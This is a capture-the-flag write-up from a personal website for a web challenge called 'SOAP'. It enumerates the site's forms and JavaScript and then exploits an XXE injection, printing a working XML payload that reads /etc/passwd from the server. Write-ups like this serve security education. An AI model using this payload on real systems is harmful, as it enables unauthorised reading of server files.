Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

SOAP

Overview

Background

Author: Geoffrey Njogu

Description

The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?

Web Portal

Enumeration

Home page:

View source page:

<form class="detailForm" action="/data" method="POST">
    <input required type="hidden" name="ID" value="1">
<button type="submit" class="btn btn-sm
  btn-outline-secondary">Details</button>
</form>
[...]
<form class="detailForm" action="/data" method="POST">
    <input required type="hidden" name="ID" value="2">
<button type="submit" class="btn btn-sm
  btn-outline-secondary">Details</button>
</form>
[...]
<form class="detailForm" action="/data" method="POST">
    <input required type="hidden" name="ID" value="3">
  <button type="submit" class="btn btn-sm
  btn-outline-secondary">Details</button>
</form>
[...]
<script src="/static/js/xmlDetailsCheckPayload.js"></script>
<script src="/static/js/detailsCheck.js"></script>
[...]

In here, we see there are 3 HTML forms. When the “Details” button is clicked, it’ll send a POST request to /data with parameter ID.

It also imported 2 JavaScript files.

/static/js/xmlDetailsCheckPayload.js:

window.contentType = 'application/xml';

function payload(data) {
    var xml = '<?xml version="1.0" encoding="UTF-8"?>';
    xml += '<data>';

    for(var pair of data.entries()) {
        var key = pair[0];
        var value = pair[1];

        xml += '<' + key + '>' + value + '</' + key + '>';
    }

    xml += '</data>';
    return xml;
}

In the above, the payload(data) function is just constructing an XML data structure:

<?xml version="1.0" encoding="UTF-8"?>
<data>
    <key>value</key>
</data>

/static/js/detailsCheck.js:

document.querySelectorAll('.detailForm').forEach(item => {
    item.addEventListener("submit", function(e) {
        checkDetails(this.getAttribute("method"), this.getAttribute("action"), new FormData(this));
        e.preventDefault();
    });
});
function checkDetails(method, path, data) {
    const retry = (tries) => tries == 0
        ? null
        : fetch(
            path,
            {
                method,
                headers: { 'Content-Type': window.contentType },
                body: payload(data)
            }
          )
            .then(res => res.status == 200
                ? res.text().then(t => t)
                : "Could not find the details. Better luck next time :("
            )
            .then(res => document.getElementById("detailsResult").innerHTML = res)
            .catch(e => retry(tries - 1));

    retry(3);
}

What this does is sending a POST request to /data endpoint, with function payload(data)’s output body.

Now, let’s click on those “Details” buttons!

Burp Suite HTTP history:

As you can see, we’re sending XML data.

Armed with above information, we can move onto the exploitation session.

Exploitation

In this challenge’s title, it’s SOAP.

SOAP XML is a messaging protocol specification for exchanging structured information in the implementation of web services in computer networks.

That being said, we can try to exploit XXE (XML External Entity) injection!

Now, we can send the POST /data request to Burp Suite’s Repeater, and change the </ID> key to anything:

As you can see, our invalid ID is reflected to the response!!

With that said, we can try to retrieve information by injecting arbitrary XML data!

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>
    <ID>&xxe;</ID>
</data>

What this payload does is we defined:

Let’s send our XXE payload:

Nice! We successfully exploited an XXE vulnerability, and retrieved /etc/passwd content!!

Note: If you want to learn more about XXE, you could read my PortSwigger Labs writeups!

Conclusion

What we’ve learned:

  1. XXE Injection